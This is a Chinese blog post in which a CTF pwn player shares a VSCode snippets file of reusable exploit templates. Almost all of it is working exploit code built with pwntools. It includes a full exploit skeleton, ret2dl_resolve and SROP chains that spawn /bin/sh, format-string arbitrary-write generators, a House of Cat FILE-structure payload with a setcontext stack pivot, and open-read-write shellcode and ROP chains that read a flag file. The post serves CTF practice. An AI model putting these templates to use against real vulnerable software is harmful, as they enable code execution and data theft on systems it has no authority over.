VSCode-Snippets配置

VSCode-Snippets配置

2024-03-04·PwnPwn

持续更新ing… …

Origin…

之前打OI的时候接触了缺省源这个东西,现在打CTF的时候某些模板语句都懒得写,到别的文件去Copy,但是这样无疑还能够压榨时间。于是想把高中DEV-C++的缺省源类似的东西运用到VSCode编写EXP的过程里面,于是就有了今天这篇文章。 [原来你也玩缺省源]{.label .primary}

SourceCode

没啥好解释的,就是写一个prefix然后按下tab就能自动产生你设置的对应的代码段。这样既可以避免手搓代码导致的腱鞘炎,又可以节省Copy文件以及避免突然找不到模板文件的尴尬。 而且,编辑代码中的内容可以当成变量进行修改,这些变量只要在缺省源里面用1,1,2之类的进行代替,正式编写代码的时候,只需要按一下Tab就可以自动把光标跳转到下一个变量。 简直就是懒人福利 不说了直接粘贴代码。设置Snippets网上都有教程。 这里的缺省源都是根据我之前写的EXP里面摘抄过来的。

//python.json
{
	// Place your snippets for python here. Each snippet is defined under a snippet name and has a prefix, body and 
	// description. The prefix is what is used to trigger the snippet and the body will be expanded and inserted. Possible variables are:
	// $1, $2 for tab stops, $0 for the final cursor position, and ${1:label}, ${2:another} for placeholders. Placeholders with the 
	// same ids are connected.
	// Example:
	"Exp-Standard":{
		"prefix": "exp-std",
		"body": [
			"# sudo sysctl -w kernel.randomize_va_space=0",
			"#coding=utf-8",
			"from pwn import *",
			"from socket import *",
			"from Crypto.Util.number import long_to_bytes,bytes_to_long",
			"context.terminal=['tmux','splitw','-h']\ncontext.arch='amd64'\ncontext.log_level='debug'\n",
			"global p",
			"global r",
			"ELFpath=''",
			"libcpath=''\n",
			"DEBUG=2",
			"PROCESS=1",
			"REMOTE=0\n",
			"run_mode=REMOTE",
			"socket_flag=False\n",
			"ELFpath='./$1' ",
			"e=ELF(ELFpath)",
			"os.chdir(ELFpath[:ELFpath.rfind('/')])\n",
			"libcpath='$2'",
			"if(libcpath!=\"\"):",
			"    libc=ELF(libcpath)\n\n",
			"start_script='''",
			"    b setbuf",
			"'''\n",
			"if(socket_flag==False):",
			"    if(run_mode==DEBUG):",
			"        p=gdb.debug(args=[ELFpath,start_script])",
			"    elif(run_mode==PROCESS):",
			"        p=process(argv=[ELFpath,'/home/jmpcliff/Desktop/httpd'])",
			"    elif(run_mode==REMOTE):",
			"        p=remote('',)\n",
			"else:",
			"    if(run_mode==DEBUG):",
			"        r=gdb.debug(ELFpath,start_script  )",
			"    elif(run_mode==PROCESS):",
			"        r=process(argv=[ELFpath,'/home/jmpcliff/Desktop/httpd'])",
			"    pause()",
			"    p=remote('127.0.0.1',6666)\n\n",
			"rut=lambda s :p.recvuntil(s,timeout=0.3)",
			"ru=lambda s :p.recvuntil(s)",
			"r=lambda n :p.recv(n)",
			"sl=lambda s :p.sendline(s)",
			"sls=lambda s :p.sendline(str(s))\n",
			"ss=lambda s :p.send(str(s))",
			"s=lambda s :p.send(s) ",
			"uu64=lambda data :u64   (data.ljust(8,'\\x00'))",
			"it=lambda :p.interactive()",
			"b=lambda :gdb.attach(p)",
			"bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))",
			"get_leaked_libc = lambda :u64(ru(b'\\x7f')[-6:].ljust(8,b'\\x00'))\n",
			"LOGTOOL={}",
			"def LOGALL():",
			"    log.success(\"**** all result ****\")",
			"    for i in LOGTOOL.items():",
			"        log.success(\"%-20s%s\"%(i[0]+\":\",hex(i[1])))\n",
			"def get_base(a, text_name):",
			"    text_addr = 0",
			"    libc_base = 0",
			"    for name, addr in a.libs().items():",
			"        if text_name in name:",
			"            text_addr = addr",
			"        elif \"libc\" in name:",
			"            libc_base = addr ",
			"    return text_addr, libc_base",
			"def debug():",
			"    global p",
			"    global run_mode",
			"    if(run_mode!=PROCESS):",
			"        return",
			"    text_base, libc_base = get_base(p, 'challenge')",
			"    script = '''",
			"    set \\$text_base = {}",
			"    set \\$libc_base = {}",
			"    '''.format(text_base, libc_base)",
			"    if socket_flag==False:",
			"        gdb.attach(p, script)",
			"    else:",
			"        gdb.attach(r, script)\n",
			"def ptrxor(pos,ptr):",
			"    return p64((pos >> 12) ^ ptr)\n",
			"def create_link_map(l_addr,know_got,link_map_addr):",
			"    link_map=p64(l_addr & (2 ** 64 - 1))    ",
			"    #dyn_relplt",
			"    link_map+=p64(0)",
			"    link_map+=p64(link_map_addr+0x18)        #ptr2relplt",
			"    #relplt",
			"    link_map+=p64((know_got - l_addr)&(2**64-1))    ",
			"    link_map+=p64(0x7)",
			"    link_map+=p64(0)\n",
			"    #dyn_symtab",
			"    link_map+=p64(0)",
			"    link_map+=p64(know_got-0x8)\n",
			"    link_map+=b'/flag\\x00\\0\\x00'\n",
			"    link_map=link_map.ljust(0x68,b'B')\n",
			"    link_map+=p64(link_map_addr)        #ptr2dyn_strtab_addr",
			"    link_map+=p64(link_map_addr+0x30)        #ptr2dyn_symtab_addr\n",
			"    link_map=link_map.ljust(0xf8,b'C')\n",
			"    link_map+=p64(link_map_addr+0x8)        #ptr2dyn_relplt_addr",
			"    return link_map",
			"\n\n\n\n\n\ndebug()",
			"\n\n\n\n\n\nLOGALL()",
			"\n\n\n\n\n\nit()"
		],
		"description": "Init stacdard exp"
	},

	"Init EXP": {
		"prefix": "exp",
		"body": [
			"# sudo sysctl -w kernel.randomize_va_space=0",
			"from pwn import*",
			"from Crypto.Util.number import long_to_bytes,bytes_to_long",
			"",
			"context.log_level='debug'",
			"context(arch='amd64',os='linux')",
			"context.terminal=['tmux','splitw','-h']",
			"",
			"ELFpath = '$1'",
			"#p=remote(' ',)",
			"#p=process(['./ld-2.31.so', ELFpath], env={\"LD_PRELOAD\":'./libc-2.31.so'})",
			"p=process(ELFpath)",
			"gdb.attach(p)",
			"#elf=ELF(ELFpath)",
			"#libc=ELF('./libc.so.6')",
			"",
			"p.interactive()"
		],
		"description": "Init EXP"
	},
	"ret2dl_resolve": {
		"prefix": "dlresolve",
		"body": [
			"context.binary = elf = ELF('./dlre')",
			"rop = ROP(context.binary)",
			"dlresolve = Ret2dlresolvePayload(elf,symbol='system',args=['/bin/sh'])\t\t# pwntools will help us choose a proper addr",
			"rop.read(0,dlresolve.data_addr)\nrop.ret2dlresolve(dlresolve)\nraw_rop = rop.chain()\n",
			"payload = flat({0x$1:raw_rop,256:dlresolve.payload})",
			"p.sendline(payload)"
		],
		"description": "Template 0f ret2dl_resolve"
	},
	"SROP": {
		"prefix": "srop",
		"body": [
			"sigreturn= +p64(syscall)\t\t# sigreturn = p64(pop_rdi)+p64(0xf)+p64(0x401136)+p64(syscall)",
			"frame = SigreturnFrame()",
			"# 实现execve的系统调用\n# 需要存储在伪造的栈地址位置",
			"frame.rax = constants.SYS_execve\nframe.rdi = sh\nframe.rsi = 0\nframe.rdx = 0\nframe.rip = syscall\nstack_frame = b\"/bin/sh\\x00\"+sigreturn+bytes(frame)",
			"\n# 实现read的系统调用\n# 读取包括bin字符串和伪造的栈数据",
			"frame = SigreturnFrame()\nframe.rax = constants.SYS_read\nframe.rdi = 0\nframe.rsi = sh\nframe.rdx = 0x400\nframe.rip = syscall\nframe.rsp = sh+8  # 设置栈顶指针位置",
			"pad = cyclic(0x$1)\npad += sigreturn + bytes(frame)",
			"\n# 先发送实现read系统调用的pad",
			"p.send(pad)",
			"# read读取stack_frame\n# 然后ret到伪造的栈上执行execve系统调用",
			"p.send(stack_frame)"
		],
		"description": "Template 0f SROP"
	},
	"fmtstr-write-addr": {
		"prefix": "fmtstr-write-addr",
		"body": [
			"def take_first(elem:tuple):return elem[0]\n",
			"def splitw_6_byte(data):",
			"    result=[]",
			"    for i in range(6):",
			"        result.append((data&0xff,i))",
			"        data=data>>8",
			"    return result\n",
			"def fmt_write_addr(data:list,arg_num,addr,header=b\"\"):",
			"    data.sort(key=take_first)\n",
			"    for i in data:",
			"        print(str(i[0])+\" \"+str(i[1]))\n",
			"    fmt_1=''",
			"    for i in range(6):",
			"        if(i==0):",
			"            fmt_1+=\"%\"+str(data[i][0])+\"c\"",
			"        else:",
			"            fmt_1+=\"%\"+str(data[i][0]-data[i-1][0])+\"c\"",
			"        fmt_1+=\"%00\\$hhn\"",
			"    len_header=len(header)",
			"    fmt_1_len=len(fmt_1)+len(header)",
			"    if((fmt_1_len&0x7)!=0):",
			"        fmt_1_len=fmt_1_len&0xfffffff8",
			"        fmt_1_len+=8",
			"    arg_start=arg_num+fmt_1_len//8",
			"    fmt_1=b''",
			"    if(data[i][0]<len_header):",
			"        print(\"FMT ERROR: HEADER TOO LONG!!\")",
			"        exit()",
			"    for i in range(6):",
			"        if(data[i][0]!=len_header):",
			"            if(i==0):",
			"                fmt_1+=b\"%\"+str(data[i][0]-len_header).encode()+b\"c\"",
			"            else:",
			"                fmt_1+=b\"%\"+str(data[i][0]-data[i-1][0]).encode()+b\"c\"",
			"        else:",
			"            fmt_1+=b\"%0\"+str(arg_start).encode()+b\"\\$hhn\"",
			"        arg_start+=1",
			"    fmt_2=b''",
			"    for i in range(6):",
			"        fmt_2+=p64(addr+(data[i][1]))",
			"    fmt=(header+fmt_1).ljust(fmt_1_len,b'\\x00')+fmt_2",
			"    return fmt"
		],
		"description": "Functions to generate fmtstrings."
	},
	"Shellcode-Generate": {
		"prefix": "asmgen",
		"body": [
			"from Xhellcode import Xhellgen",
			"from XorHack import XorHack,process_hack",
			"rang=[$1] # ranges rang=[[0x10,0x20],[0x40,0x50]]",
			"Xhellgen(rang,True,$2) # need capstone to disasm     input length to brute-force"
		],
		"description": "Use Xhellgen.py to generate Shellcode (need capstone)"
	},
	"XorHack": {
		"prefix": "xorhack",
		"body": [
			"from Xhellcode import Xhellgen",
			"from XorHack import XorHack,process_hack",
			"rang=[$1] # ranges rang=[[0x10,0x20],[0x40,0x50]]\n",
			"# Xhellgen(rang,True,3) # need capstone to disasm     input length to brute-force\n",
			"shellcode='''",
			"'''",
			"arr=XorHack(shellcode,rang,b'\\x$2',$3)  # XorHack(shellcode,rang,(byte)padding,(int)length_of_a_part)\n",
			"# return a bytes\n",
			"# process_hack(b'\\x0f\\x05\\x00\\x00',rang,2) # hack bytes",
			"# process_hack(0xffffffff,rang,2) # hack numbers"
		],
		"description": "XorHack.py for Shellcode-Xor (need capstone)"
	},
	"House of Cat": {
		"prefix": "cat-payload",
		"body": [
			"ru(\"0x\")\nlibcbase=int(r(12),16)\nLOGTOOL['libcbase']=libcbase\n\nru(\"0x\")\nfake_io=int(r(12),16)\n",
			"LOGTOOL['fake_io']=fake_io   # chunk_start (prev_size)\n\nIO_file_jumps=libcbase+0x216600\nLOGTOOL[\"IO_file_jump\"]=IO_file_jumps",
			"\n\nIO_wfile_jumps=libcbase+0x2160C0\nLOGTOOL[\"IO_wfile_jumps\"]=IO_wfile_jumps\n\nexecve_addr=libcbase+0xeb080\nLOGTOOL['execve']=execve_addr",
			"\n\nsetcontext_61=libcbase+0x539E0+61\nLOGTOOL['setcontext_61']=setcontext_61\n\nlr=libcbase+0x4da83\nret=libcbase+0x29139\npop_rdi=libcbase+0x2a3e5 \npop_rsi=libcbase+0x002be51\npop_rdx=libcbase+0x0796a2 ",
			"\n\nrop=b'/bin/sh\\x00'\n\npay=flat(\n{\n0x30:[p64(0),p64(0),p64(0),p64(1),p64(fake_io+0x138)],  # wide_data\n0x88:p64(fake_io+0x1e8),",
			"\n0xa0:[p64(fake_io+0x30)],\n0xc0:[p64(1)],   #_mode\n0xd8:[p64(IO_wfile_jumps+0x30)],    # vtable\n0x110:[p64(fake_io+0x118)], # wide_data -> vtable",
			"\n\n0x118:flat(\n{\n0x18:[p64(setcontext_61)]\n},filler=b'\\x00'\n),\n\n0x138:flat(\n{\n0x68:p64(fake_io+0x1e8),    # rdi \n0x70:p64(0),                # rsi\n0x88:p64(0),                # rdx",
			"\n0xa0:p64(fake_io+0x1f8),    # rsp\n0xa8:p64(ret)       # ret_addr\n},filler=b'\\x00'\n),\n\n0x1e8:flat(\n{\n0x00:p64(0)+p64(0),\n0x10:rop",
			"\n},filler=b'\\x00'\n)\n\n\n},filler=b'\\x00'\n)\ns(pay[0x10:])"
		],
		"description": "Payload template of House of Cat.(IO_FILE)"
	},
	"fmt_payload": {
		"prefix": "fmtstr",
		"body": [
			"fmtstr_payload(offset,{addr:val})"
		],
		"description": "fmtstr_payload(offset,{addr:val})"
	},
	"ORW-Shellcode0": {
		"prefix": "orwshellcode0",
		"body": ["shellcode='''\nmov  rax,257\nmov rdi ,-100\nmov rsi,0x1145141f8\nmov rdx,0\nmov r8,0x100\nsyscall\n\nmov rdi, 1\nmov rsi, 3\npush 0\nmov rdx, rsp\nmov r10, 0x100\npush SYS_sendfile\npop rax\nsyscall\n\nmov rax,60\nmov rdi,0\nsyscall\n'''"],
		"description": "openat+sendfile"
	},
	"ORW-Payload0": {
		"prefix": "orwpayload0",
		"body": ["p64(pop_rdi)+p64(name)+p64(pop_rsi)+p64(0)+p64(open64)+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(name-0x100)+p64(pop_rdx2)+p64(0x100)+p64(0x0)+p64(read_a)+p64(pop_rdi)+p64(name-0x100)+p64(puts)"],
		"description": "open64+read+puts"
	},
	"ORW-Payload1": {
		"prefix": "orwpayload1",
		"body": ["paylaod=b'./flag\\x00\\x00'+p64(pop_rax)+p64(2)+p64(pop_rdi)+p64(newbuf)+p64(pop_rsi)+p64(0)+p64(syscall)+p64(pop_rdi)+p64(newbuf-0x100)+p64(puts)  +p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(3)+p64(pop_rax)+p64(40)+p64(pop_rdx)+p64(0)+p64(syscall)+p64(0x0401433)"],
		"description": "syscall:open,sendfile"
	}
}